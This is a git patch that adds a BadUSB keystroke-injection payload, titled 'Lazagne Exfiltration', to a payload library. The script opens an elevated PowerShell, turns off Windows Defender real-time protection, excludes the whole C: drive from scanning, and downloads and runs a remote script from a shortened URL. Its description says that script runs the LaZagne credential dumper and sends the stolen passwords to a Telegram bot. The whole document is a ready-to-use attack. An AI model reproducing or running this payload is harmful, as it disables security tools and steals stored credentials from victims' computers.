From e734499f3ddb342a282525f31a22413cc5eb68b8 Mon Sep 17 00:00:00 2001
From: "Mr. Proxy" <80650301+Mr-Proxy-source@users.noreply.github.com>
Date: Mon, 18 Dec 2023 02:00:14 +0100
Subject: [PATCH] Create payload.txt

---
 .../library/exfiltration/Lazagne-Exfil/payload.txt | 14 ++++++++++++++
 1 file changed, 14 insertions(+)
 create mode 100644 payloads/library/exfiltration/Lazagne-Exfil/payload.txt

diff --git a/payloads/library/exfiltration/Lazagne-Exfil/payload.txt b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt
new file mode 100644
index 0000000..46322c1
--- /dev/null
+++ b/payloads/library/exfiltration/Lazagne-Exfil/payload.txt
@@ -0,0 +1,14 @@
+REM Title: Lazagne Exfiltration
+REM Author:	mrproxy
+REM Requirements: Telegram bot, Internet Connection
+REM Description: Downloads lazagne, runs lazagne, stores all info to .txt file, sends file to telegram bot.
+REM Target:	Windows
+REM Version:	1.0
+REM Category:	Exfiltration
+REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads
+GUI r
+DELAY 500
+STRING powershell.exe -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='bot-token'; $ci='chat-id'; irm https://t.ly/-qlYd | iex'"
+CTRL-SHIFT ENTER
+DELAY 1000
+ALT y